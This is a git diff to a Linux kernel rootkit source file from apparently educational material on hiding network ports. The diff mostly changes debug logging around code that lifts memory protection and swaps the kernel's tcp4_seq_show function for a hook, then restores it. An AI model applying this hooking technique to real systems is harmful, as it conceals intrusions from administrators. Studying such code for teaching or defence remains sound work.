diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c index 70d1d98..bbed9aa 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c +++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c @@ -83,13 +83,15 @@ orig_tcp4_seq_show = (orig_tcp4_seq_show_t) __tcp4_seq_show; printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_INFO "rootkit: found tcp4_seq_show at 0x%lx\n", __tcp4_seq_show); + printk(KERN_INFO "rootkit: found tcp4_seq_show at: 0x%lx\n", __tcp4_seq_show); unprotect_memory(); /* Set __tcp4_seq_show to our hook */ - printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show... (0x%lx)\n", hook_tcp4_seq_show); + printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show...\n"); __tcp4_seq_show = (unsigned long)hook_tcp4_seq_show; + printk(KERN_DEBUG "rootkit: (hook) __tcp4_seq_show = 0x%lx\n", __tcp4_seq_show); + printk(KERN_DEBUG "rootkit: (hook) *__tcp4_seq_show = 0x%lx\n", *__tcp4_seq_show); protect_memory(); @@ -101,8 +103,10 @@ unprotect_memory(); /* Set __tcp4_seq_show back to the saved original function */ - printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show... (0x%lx)\n", orig_tcp4_seq_show); + printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show...\n"); __tcp4_seq_show = (unsigned long)orig_tcp4_seq_show; + printk(KERN_DEBUG "rootkit: (orig) __tcp4_seq_show = 0x%lx\n", __tcp4_seq_show); + printk(KERN_DEBUG "rootkit: (orig) *__tcp4_seq_show = 0x%lx\n", *__tcp4_seq_show); protect_memory();